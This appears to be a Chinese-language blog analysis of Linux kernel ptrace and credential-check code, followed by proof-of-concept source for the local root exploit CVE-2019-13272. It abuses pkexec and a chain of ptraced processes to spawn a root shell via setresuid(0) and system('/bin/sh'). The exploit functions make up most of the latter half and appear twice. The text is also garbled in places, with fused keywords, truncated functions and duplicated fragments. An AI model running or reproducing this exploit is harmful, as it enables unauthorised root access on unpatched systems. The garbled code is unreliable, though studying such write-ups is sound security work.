intmain(int argc, char **argv, char **envp) { int wait_val; int instructions = 0; int child_pid = fork(); if (!child_pid) // child { puts("[*] Set the child as a ptracee."); ptrace(PTRACE_TRACEME, 0, NULL, NULL); // let the parent ptrace it, won't stop there but send a signal to parent puts("[+] Done. Now waiting for the parent..."); execl("./helloworld", "helloworld", NULL); // the programme to be debug } else// parent { wait(&wait_val); // waiting for the signal from child puts("[+] Parent received signal, running..."); while (wait_val == 1407) { instructions++; if (ptrace(PTRACE_SINGLESTEP, child_pid, 0, 0) != 0) perror("ptrace error!");
/* * This structure is used to hold the arguments that are used when loading binaries. */ structlinux_binprm { char buf[BINPRM_BUF_SIZE]; #ifdef CONFIG_MMU structvm_area_struct *vma; unsignedlong vma_pages; #else # define MAX_ARG_PAGES 32 structpage *page[MAX_ARG_PAGES]; #endif structmm_struct *mm; unsignedlong p; /* current top of mem */ unsignedint cred_prepared:1,/* true if creds already prepared (multiple * preps happen for interpreters) */ cap_effective:1;/* true if has elevated effective capabilities, * false if not; except for init which inherits * its parent's caps anyway */ #ifdef __alpha__ unsignedint taso:1; #endif unsignedint recursion_depth; /* only for search_binary_handler() */ structfile * file; structcred *cred;/* new credentials */ int unsafe; /* how unsafe this exec is (mask of LSM_UNSAFE_*) */ unsignedint per_clear; /* bits to clear in current->personality */ int argc, envc; constchar * filename; /* Name of binary as seen by procps */ constchar * interp; /* Name of the binary really executed. Most of the time same as filename, but could be different for binfmt_{misc,script} */ unsigned interp_flags; unsigned interp_data; unsignedlong loader, exec; };
/* * Since this can be called multiple times (via prepare_binprm), * we must clear any previous work done when setting set[ug]id * bits from any earlier bprm->file uses (for example when run * first for a setuid script then again for its interpreter). */ // 笔者注:首先使用原进程 euid egid bprm->cred->euid = current_euid(); bprm->cred->egid = current_egid();
if (!mnt_may_suid(bprm->file->f_path.mnt)) return;
/* Be careful if suid/sgid is set */ inode_lock(inode);
/* reload atomically mode/uid/gid now that lock held */ mode = inode->i_mode; uid = inode->i_uid; gid = inode->i_gid; inode_unlock(inode);
/* We ignore suid/sgid if there are no mappings for them in the ns */ if (!kuid_has_mapping(bprm->cred->user_ns, uid) || !kgid_has_mapping(bprm->cred->user_ns, gid)) return;
/* * Security module hook list structure. * For use with generic list macros for common operations. */ structsecurity_hook_list { structlist_headlist; structlist_head *head; unionsecurity_list_optionshook; };
// 笔者注:对被 ptrace 的 suid/sgid 进程进行权限检查 /* Don't let someone trace a set[ug]id/setpcap binary with the revised * credentials unless they have the appropriate permit. * * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. */ is_setid = !uid_eq(new->euid, old->uid) || !gid_eq(new->egid, old->gid);
if ((is_setid || // 是否为 suid/sgid !cap_issubset(new->cap_permitted, old->cap_permitted)) && ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || !ptracer_capable(current, new->user_ns))) { // 是否被 ptrace,若是,检查是否越权 /* downgrade; they get no more than they had, and maybe less */ //若检查出越权,则重新进行一次检查,进行降权 if (!ns_capable(new->user_ns, CAP_SETUID) || (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { new->euid = new->uid; new->egid = new->gid; } new->cap_permitted = cap_intersect(new->cap_permitted, old->cap_permitted); }
/** * ptracer_capable - Determine if the ptracer holds CAP_SYS_PTRACE in the namespace * @tsk: The task that may be ptraced * @ns: The user namespace to search for CAP_SYS_PTRACE in * * Return true if the task that is ptracing the current task had CAP_SYS_PTRACE * in the specified user namespace. */ boolptracer_capable(struct task_struct *tsk, struct user_namespace *ns) { int ret = 0; /* An absent tracer adds no restrictions */ conststructcred *cred; rcu_read_lock(); cred = rcu_dereference(tsk->ptracer_cred); if (cred) ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); rcu_read_unlock(); return (ret == 0); }
/** * cap_capable - Determine whether a task has a particular effective capability * @cred: The credentials to use * @ns: The user namespace in which we need the capability * @cap: The capability to check for * @audit: Whether to write an audit message or not * * Determine whether the nominated task has the specified capability amongst * its effective set, returning 0 if it does, -ve if it does not. * * NOTE WELL: cap_has_capability() cannot be used like the kernel's capable() * and has_capability() functions. That is, it has the reverse semantics: * cap_has_capability() returns 0 when a task has a capability, but the * kernel's capable() and has_capability() returns 1 for this case. */ intcap_capable(conststruct cred *cred, struct user_namespace *targ_ns, int cap, int audit) { structuser_namespace *ns = targ_ns;
/* See if cred has the capability in the target user namespace * by examining the target user namespace and all of the target * user namespace's parents. */ for (;;) { /* Do we have the necessary capabilities? */ // 若与 ptracer 同属同一命名空间,检查权限是否足够 if (ns == cred->user_ns) return cap_raised(cred->cap_effective, cap) ? 0 : -EPERM;
/* Have we tried all of the parent namespaces? */ // 自底向上遍历完了,说明检查出错,返回对应错误值 if (ns == &init_user_ns) return -EPERM;
/* * The owner of the user namespace in the parent of the * user namespace has all caps. */ // 我们主要关注这里,这里会检查 ptracer_cred 的命名空间是否是新进程命名空间的父命名空间 // 若是,检查是否新进程命名空间的所有者是否与 ptracer 为同一用户 // 若是,返回 0,说明通过检查 // 若否,向上遍历命名空间,回到开头 if ((ns->parent == cred->user_ns) && uid_eq(ns->owner, cred->euid)) return0;
/* * If you have a capability in a parent user ns, then you have * it over all children user namespaces as well. */ ns = ns->parent; }
/* * ptrace a task: make the debugger its new parent and * move it to the ptrace list. * * Must be called with the tasklist lock write-held. */ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent) { BUG_ON(!list_empty(&child->ptrace_entry)); list_add(&child->ptrace_entry, &new_parent->ptraced); child->parent = new_parent; rcu_read_lock(); child->ptracer_cred = get_cred(__task_cred(new_parent)); rcu_read_unlock(); }
/** * __put_cred - Destroy a set of credentials * @cred: The record to release * * Destroy a set of credentials on which no references remain. */ void __put_cred(struct cred *cred) { kdebug("__put_cred(%p{%d,%d})", cred, atomic_read(&cred->usage), read_cred_subscribers(cred));
/* * The RCU callback to actually dispose of a set of credentials */ staticvoidput_cred_rcu(struct rcu_head *rcu) { structcred *cred = container_of(rcu, struct cred, rcu);
kdebug("put_cred_rcu(%p)", cred);
#ifdef CONFIG_DEBUG_CREDENTIALS if (cred->magic != CRED_MAGIC_DEAD || atomic_read(&cred->usage) != 0 || read_cred_subscribers(cred) != 0) panic("CRED: put_cred_rcu() sees %p with" " mag %x, put %p, usage %d, subscr %d\n", cred, cred->magic, cred->put_addr, atomic_read(&cred->usage), read_cred_subscribers(cred)); #else if (atomic_read(&cred->usage) != 0) panic("CRED: put_cred_rcu() sees %p with usage %d\n", cred, atomic_read(&cred->usage)); #endif
if (!strcmp(argv[0], "stage2")) return middleStage(); elseif (!strcmp(argv[0], "stage3")) return getRootShell();
puts("[+] CVE-2019-13272 POC of local privileged."); puts("[+] Written by arttnba3."); puts("[*] Start exploiting...");
// find the helper puts("[*] Finding the helper..."); helper = findHelper(); helper_basename = basename(helper); if (!helper) { fprintf(stderr, "[x] Unable to find suitable helper on your platform!\n"); exit(EXIT_FAILURE); } printf("[*] Using helper: %s\n", helper);
// create the pipe for blocking child pipe2(pipe_for_block, O_DIRECT | O_CLOEXEC); // set the pipe in packet mode, which meant that the data should be received in packets fcntl(pipe_for_block[0], F_SETPIPE_SZ, 0x1000); write(pipe_for_block[1], "arttnba3", 8); // temp packet to make the following ones stuck, the stdout of task B will be redirect to it
// fork out task B // two kinds of writing, all OK // pid_task_b = clone(middlePtracee, (size_t)malloc(0x1000 * 100) + 0x1000 * 100, CLONE_VM | CLONE_VFORK | SIGCHLD, NULL); pid_task_b = fork(); if (!pid_task_b) { middlePtracee(); return0; } // ...
Step.II task B fork task C
task B 主要的工作笔者都将其封装在 middlePtracee() 中,首先还是 fork 出 task C,此时 task A 与 task C 都在监视 task B 的状态
接下来 task B 将自身的 stdin 重定向自 /proc/self/exe ,将 stdout 重定向至阻塞的管道,这是因为在接下来我们执行 pkexec 时,pkexec 的输出走 stderr,因此提权->降权这一流程并不会阻塞,而 pkexec 执行的 helper 的输出则走 stdout,此时程序会阻塞在这里,且 task B 已经降权,因此 task A 可以借此时机接管 task B
// task C intfinalPtracee(void) { pid_task_c = getpid(); char buf[0x1000]; char needle[0x100]; char uid_buf[0x100]; int task_B_status_fd;
sprintf(needle, "/proc/%d/status", pid_task_b); sprintf(uid_buf, "Uid:\t%d\t0\t", getuid()); dup2(self_fd, 114); task_B_status_fd = open(needle, O_RDONLY); if (task_B_status_fd < 0) { fputs("[x] Failed to get status of task B!", stderr); exit(EXIT_FAILURE); }
// check out uid of task B while (1) { buf[pread(task_B_status_fd, buf, 0x1000 - 1, 0)] = '\0'; if (strstr(buf, uid_buf)) // task B got root break; }
// let task B(root) be ptracer puts("[+] Task B is root now!"); ptrace(PTRACE_TRACEME, 0, NULL, NULL); puts("[*] Task C execve another suid programme sooooon..."); execl("/usr/bin/passwd", "passwd", NULL);
// if we arrived there, execve failed puts("[x] Task C failed to execve!"); }
Step.IV task A attach task B
task A 在 fork 出 task B 之后便持续监视 task B 的状态,当 task B 执行 helper 时说明 task B 已经降权并阻塞,此时 task A 便有足够的权限 ptrace task B
sprintf(buf, "/proc/%d/comm", pid_task_b); while (1) { char comm[0x100]; int comm_fd = open(buf, O_RDONLY); if (comm_fd < 0) { fprintf(stderr, "[x] Failed to read comm of task B!\n"); exit(EXIT_FAILURE); } comm[read(comm_fd, comm, 0x100 - 1)] = '\0'; if (!strncmp(comm, helper_basename, 10)) break; usleep(100000); }
// task B got the root, wait a while it'll lose privilege, then task A attach to it puts("[*] Task A attaching to task B soooon..."); ptrace(PTRACE_ATTACH, pid_task_b, 0, NULL); waitpid(pid_task_b, NULL, 0); // 0 means no extra options
//...
Step.V get privileged by multistage ptrace link
当程序运行到这一步时,我们已经成功建立了task A -> task B -> task C这一多级 ptrace 链条,此时 task A、B 为用户权限,task C 为 root 权限,而 task C 保存的 ptracer_cred 同为 root 权限,因此我们可以通过 task A 控制 task B 控制 task C 来完成提权
// force the task B to execve stage2 puts("[*] Forcing task B to execve stage2..."); forceChildToExecve(pid_task_b, 0, "stage2"); //force_exec_and_wait(pid_task_b, 0, "stage2"); exit(EXIT_SUCCESS); }
// task again B intmiddleStage(void) { pid_t child = waitpid(-1, NULL, 0); forceChildToExecve(child, 114, "stage3"); return0; }
// task again C intgetRootShell(void) { setresuid(0, 0, 0); setresgid(0, 0, 0); return system("/bin/sh"); }
// force a child to execve by ptrace through execveat syscall voidforceChildToExecve(pid_t child_pid, int exec_fd, char *argv) { structuser_regs_structregs; structioveciov = { .iov_base = ®s, .iov_len = sizeof(regs), }; size_t child_stack; size_t insert_data[0x100];
ptrace(PTRACE_SYSCALL, child_pid, 0, NULL); // wait for child meeting a syscall waitpid(child_pid, NULL, 0); // wait for child to execve ptrace(PTRACE_GETREGSET, child_pid, NT_PRSTATUS, &iov); // get env of child
// mainly for task a, and jmp for stage 2 and 3 intmain(int argc, char **argv, char **envp) { char buf[0x1000];
if (!strcmp(argv[0], "stage2")) return middleStage(); elseif (!strcmp(argv[0], "stage3")) return getRootShell();
puts("[+] CVE-2019-13272 POC of local privileged."); puts("[+] Written by arttnba3."); puts("[*] Start exploiting...");
// find the helper puts("[*] Finding the helper..."); helper = findHelper(); helper_basename = basename(helper); if (!helper) { fprintf(stderr, "[x] Unable to find suitable helper on your platform!\n"); exit(EXIT_FAILURE); } printf("[*] Using helper: %s\n", helper);
// create the pipe for blocking child pipe2(pipe_for_block, O_DIRECT | O_CLOEXEC); // set the pipe in packet mode, which meant that the data should be received in packets fcntl(pipe_for_block[0], F_SETPIPE_SZ, 0x1000); write(pipe_for_block[1], "arttnba3", 8); // temp packet to make the following ones stuck, the stdout of task B will be redirect to it
// fork out task B // two kinds of writing, all OK // pid_task_b = clone(middlePtracee, (size_t)malloc(0x1000 * 100) + 0x1000 * 100, CLONE_VM | CLONE_VFORK | SIGCHLD, NULL); pid_task_b = fork(); if (!pid_task_b) { middlePtracee(); return0; }
sprintf(buf, "/proc/%d/comm", pid_task_b); while (1) { char comm[0x100]; int comm_fd = open(buf, O_RDONLY); if (comm_fd < 0) { fprintf(stderr, "[x] Failed to read comm of task B!\n"); exit(EXIT_FAILURE); } comm[read(comm_fd, comm, 0x100 - 1)] = '\0'; if (!strncmp(comm, helper_basename, 10)) break; usleep(100000); }
// task B got the root, wait a while it'll lose privilege, then task A attach to it puts("[*] Task A attaching to task B soooon..."); ptrace(PTRACE_ATTACH, pid_task_b, 0, NULL); waitpid(pid_task_b, NULL, 0); // 0 means no extra options
// force the task B to execve stage2 puts("[*] Forcing task B to execve stage2..."); forceChildToExecve(pid_task_b, 0, "stage2"); //force_exec_and_wait(pid_task_b, 0, "stage2"); exit(EXIT_SUCCESS); }
char* findHelper(void) { structstatbuf;
for (int i = 0; i < sizeof(helper_list) / sizeof(char*); i++) { if (!stat(helper_list[i], &buf)) return helper_list[i]; }
pid_task_c = fork(); if (!pid_task_c) return finalPtracee();
fputs("[+] Task B fork out task C.\n", stderr); fputs("[*] Task B execve pkexec soooon...\n", stderr); dup2(self_fd, 0); // got stdin close dup2(pipe_for_block[1], 1); // redirect stdout to block it execl("/usr/bin/pkexec", basename("/usr/bin/pkexec"), "--user", pw->pw_name, helper, "--helper", NULL);
// if we arrive there, we failed. fputs("[x] Failed to execve pkexec!", stderr); return-1; }
// task again B intmiddleStage(void) { pid_t child = waitpid(-1, NULL, 0); forceChildToExecve(child, 114, "stage3"); return0; }
// task C intfinalPtracee(void) { pid_task_c = getpid(); char buf[0x1000]; char needle[0x100]; char uid_buf[0x100]; int task_B_status_fd;
sprintf(needle, "/proc/%d/status", pid_task_b); sprintf(uid_buf, "Uid:\t%d\t0\t", getuid()); dup2(self_fd, 114); task_B_status_fd = open(needle, O_RDONLY); if (task_B_status_fd < 0) { fputs("[x] Failed to get status of task B!", stderr); exit(EXIT_FAILURE); }
// check out uid of task B while (1) { buf[pread(task_B_status_fd, buf, 0x1000 - 1, 0)] = '\0'; if (strstr(buf, uid_buf)) // task B got root break; }
// let task B(root) be ptracer puts("[+] Task B is root now!"); ptrace(PTRACE_TRACEME, 0, NULL, NULL); puts("[*] Task C execve another suid programme sooooon..."); execl("/usr/bin/passwd", "passwd", NULL);
// if we arrived there, execve failed puts("[x] Task C failed to execve!"); }
// task again C intgetRootShell(void) { setresuid(0, 0, 0); setresgid(0, 0, 0); return system("/bin/sh"); }
// force a child to execve by ptrace through execveat syscall voidforceChildToExecve(pid_t child_pid, int exec_fd, char *argv) { structuser_regs_structregs; structioveciov = { .iov_base = ®s, .iov_len = sizeof(regs), }; size_t child_stack; size_t insert_data[0x100];
ptrace(PTRACE_SYSCALL, child_pid, 0, NULL); // wait for child meeting a syscall waitpid(child_pid, NULL, 0); // wait for child to execve ptrace(PTRACE_GETREGSET, child_pid, NT_PRSTATUS, &iov); // get env of child